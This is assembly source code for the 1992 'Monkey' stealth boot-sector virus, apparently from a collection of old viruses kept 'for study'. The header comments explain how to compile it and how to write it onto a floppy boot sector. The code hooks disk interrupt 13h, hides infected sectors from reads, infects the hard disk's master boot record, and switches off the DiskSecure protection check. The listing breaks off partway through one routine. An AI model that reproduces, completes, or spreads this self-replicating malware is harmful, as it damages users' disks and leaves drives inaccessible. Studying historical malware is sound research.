monkey.asm

More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use

       page    70,80
       Name    Monkey

;*******************************************************
;
;      Monkey written at the city of champions
;       - Edmonton - by UACVRS - Jan 1992.
;
;     Monkey is a full stealth MBR/Boot self-replicating program with
;     no payload but it does not save the HD's partition
;     table in place. When the "infected" computer is booted
;     from a floppy, c: drive will no longer be accessible.
;
;     To compile: masm monkey     (we used MASM 5.0)
;                 link monkey
;                 exe2bin monkey.exe monkey.co
;     Use NU, or debug to copy monkey.co to the boot
;        sector of a floppy. The diskette will not boot
;        but will install itself on the hard drive.
;
;     Bug: It will trash any floppies higher than
;          1.44meg, not deliberately.
;
;*******************************************************

Code   Segment
       Assume  CS:Code,DS:CODE,ES:CODE
       ORG     00H

MAIN:
       JMP     INITIAL

; space above 1fh is for floppy format data

       ORG     1FH
INT_13     EQU     THIS BYTE

          PUSH    DS
          PUSH    SI
          PUSH    DI
          PUSH    AX
          PUSH    CX
          PUSH    DX

          CALL    SET_HEAD

          CMP     AH,02H
          JNZ     END_ACTION

          PUSH    DX
          SUB     AX,AX
          INT     1AH

TIME      EQU $ + 2
          CMP     DL,40H
          POP     DX
          JNB     END_ACTION

          CALL HANDLE_DISK

END_ACTION:
          POP   DX
          POP   CX
          POP   AX
          POP   DI

          PUSH  DX
          PUSH  CX
          PUSH  AX

          CMP   CX,03H                 ; YES, IS SECTOR LESS THAN 3?
          JNB   EXIT_2                 ; NO, EXIT

          CMP   DH,BYTE PTR DS:[SI]    ; Right head?
          JNZ   EXIT_2                 ; NO, EXIT

          CMP   AH,02H                 ; READ ?
          JZ    STEALTH                ; YES, STEALTH

          CMP   AH,03H                 ; WRITE ?
          JNZ   EXIT_2                 ; NO, EXIT
                                       ; YES!
          CMP   DL,80H                 ; HARD DRIVE?
          JB    EXIT_2                 ; NO, EXIT

          SUB   AH,AH            ; else RESET DISK - make HD light blink
          JMP   SHORT EXIT_2           ; EXIT
STEALTH:
          CALL  INT13                  ; READ
          JB    EXIT_3                 ; ERROR?

          CALL  COMP_SIG               ; MY RELATIVE?
          JZ    REDIRECT               ; YES, REDIRECT

          CALL  COMP_PA                ; NO, IS IT PA?
          JZ    REDIRECT               ; YES, REDIRECT

EXIT_0:
          CLC                          ; NO, RESET FLAG
          JMP   SHORT EXIT_3           ; EXIT

REDIRECT:

          CALL  CHSEC        ; CALC. THE SECTOR TO HIDE & PUT IN CL

          MOV   DH,BYTE PTR DS:[SI+1]  ; SET RIGHT HEAD

          POP   AX                     ; RESTORE AX
          CALL  INT13                  ; RE-READ
          CALL  ENCRPT_PBR
          POP   CX                     ; RESTORE CX, DX
          POP   DX
          JMP   SHORT EXIT_4           ; EXIT
EXIT_2:
          CALL  INT13
EXIT_3:
          POP   DS
          POP   DS
          POP   DS
EXIT_4:
          POP   SI
          POP   DS
          RETF  0002H

READ_SEC_1:
          MOV   AX,0201H         ; READ
INT13 PROC NEAR
          PUSHF
          CALL  DWORD PTR CS:INT13_ADDR     ;***********
          RET
INT13 ENDP

HOOK_ENTRY   EQU  THIS BYTE
HOOK:
          INT   12H
          MOV   SI,004CH
          PUSH  SI
          CMP   BYTE PTR CS:HOME_SEC,02H       ; I am in sector 2?
          JZ    SETUP_SPECIAL

SETUP_NORMAL:

          CALL  SHIFT_NORMAL

          MOV   DI,OFFSET INT13_ADDR
          MOV   CX,0002H
          CLD
          REPZ  MOVSW

          JMP   SHORT STORE_SEGMENT

SETUP_SPECIAL:

          CALL  SHIFT_SPECIAL

STORE_SEGMENT:
          POP   SI
          MOV   WORD PTR DS:[SI],OFFSET INT_13  ; STORE MY ENTRY POINT
          MOV   DS:[SI+2],AX            ; STORE MY SEGMENT

PATCH_OVER:

          PUSH  CS
          POP   DS
          CALL  PATCH           ; PATCH OVER
          PUSH  ES              ; PUSH SEGMENT
          MOV   AX,OFFSET JMP_ADDR
          PUSH  AX              ; PUSH ADDRESS
          STI
          RETF                 ; FAR JMP

    JMP_ADDR   EQU THIS BYTE
BOOT:
          MOV   ES,CX
          MOV   BX,SP            ; TO 0000:7C00
          PUSH  CX              ; SAVE JMP SEGMENT
          PUSH  BX

          MOV   DX,0080H         ; HANDLE C:
          CALL  SET_HEAD
          CALL  HANDLE_DISK

BOOT_SEC  EQU $ + 1
          MOV   CL,05H           ; FROM SECTOR 3   ????

BOOT_DISK  EQU $ + 1
          MOV   DX,0100H         ; C:, HEAD 0      ????

          CALL  READ_SEC_1      ; INT 13

          CALL  ENCRPT_PBR

          RETF

HANDLE_DISK PROC NEAR

          ; *** READ SECTOR 1 ***
          SUB   CX,CX
          INC   CX
          PUSH  CX

          MOV   DH,[SI]          ; HEAD
          CALL  READ_SEC_1      ; INT 13
          JB    END_HANDLE_DISK          ; ERROR -> END

          ; *** COMPARE ***
          CALL  COMP_SIG
          JZ    E_2                      ; SAME -> UPDATE MYSELF

          ; *** PA?  ***
          CALL  COMP_PA                  ; Is it Pagett's disksec?
          JNZ   UPDATE_DISK              ; NO

          ; *** OK?  ***
          INC   CX
          CMP   WORD PTR ES:[BX+1FAH],00H ; when this byte in disksec is set
                                          ; to 0 means disksec would not do
                                          ; checksum of partitions - Pagett
                                          ; sucks
          JZ    E_2                       ; SAME -> UPDATE MYSELF

          MOV   WORD PTR ES:[BX+1FAH],00H ; set this to zero
          MOV   CL,1H                     ; write the change back to sector 1
          CALL  WRITE_SEC_1               ;
          JB    END_HANDLE_DISK

          ; *** YES! READ SECTOR 2  ***
          INC   CX              ; yes,Pagette 's disksecure is on sector 1
          MOV   DH,[SI+2]       ; My relative is on sector 2 - read sector 2
          CALL  READ_SEC_1      ; INT 13
          JB    END_HANDLE_DISK ; ERROR -> END
          POP   AX
          PUSH  CX

UPDATE_DISK:
          CALL  CHSEC        ; CALC. THE SECTOR TO HIDE & PUT IN CL
          CALL  ENCRPT_PBR
          INC   SI
          CALL  WRITE_SEC_1
          DEC   SI
          JB    END_HANDLE_DISK

          CALL  ENCRPT_PBR
          PUSH  CX
          CALL  PATCH
          POP   CX

          PUSH  DX
          CMP   DL,80H
          JNB   E_1
          XOR   DL,DL
E_1:
          MOV   WORD PTR ES:[BX+BOOT_DISK],DX
          POP   DX
          MOV   BYTE PTR ES:[BX+BOOT_SEC],CL
          POP   CX
          PUSH  CX
          MOV   BYTE PTR ES:[BX+OFFSET HOME_SEC],CL
          MOV   WORD PTR ES:[BX+OFFSET BOOT_SIG],0AA55H

E_2:
          CALL  WRITE_SEC_1

END_HANDLE_DISK:
          POP   AX
          RET

HANDLE_DISK ENDP

WRITE_SEC_1 PROC NEAR
          MOV  DH,[SI]
WRITE_SEC_2:
          MOV  AX,0301H
          CALL INT13
          RET
WRITE_SEC_1 ENDP

COMP_SIG PROC NEAR
   CMP     ES:[BX+OFFSET PROG_SIG],9219H
   RET
COMP_SIG   ENDP

COMP_PA PROC NEAR
   CMP   WORD PTR ES:[BX+119H],6150H   ; PA?
   RET
COMP_PA    ENDP

HOME_SEC    DB     01H

FLOPPY_HEAD DB     00H,01H,01H
HARD_HEAD   DB     00H,00H,00H

                  ;  360 720 1.2 1.44
FLOP_SECT_TABLE   DB  02H,05H,09H,0BH
SAVE_SECT_TABLE   DB  03H,05H,0EH,0EH

CHSEC PROC NEAR
   PUSH    DI
   PUSH    SI
   MOV     AL,ES:[BX+14H]
   MOV     CX,0004H
CHSEC_1:
   MOV     SI,CX
   DEC     SI
   CMP     FLOP_SECT_TABLE[SI],AL
   JZ      CHSEC_END_1
   LOOP    CHSEC_1
   MOV     CL,03H
   JMP     SHORT CHSEC_END_2
CHSEC_END_1:
   MOV     CL,SAVE_SECT_TABLE[SI]
CHSEC_END_2:
   POP     SI
   POP     DI
   RET
CHSEC      ENDP

SHIFT_NORMAL PROC NEAR
 ; FIND THE SEGMENT TO HIDE
    DEC    AX
    MOV    DS:[413H],AX

SHIFT_SPECIAL:
    MOV    CL,06H
    SHL    AX,CL
    ADD    AL,20H
    MOV    ES,AX
    RET
SHIFT_NORMAL     ENDP

PATCH PROC NEAR         ; PATCH ON BOOT SECTOR STARTING AT BYTE int_13
    PUSH  SI
    MOV   DI,BX
    MOV   SI,OFFSET INT_13
    ADD   DI,SI
;   CLD
    MOV   CX,OFFSET PROG_END - OFFSET INT_13
    REPZ  MOVSB

PATCH_JMP:
    MOV   DI,BX

    SUB   SI,SI
    MOV   CL,3H
    REPZ  MOVSB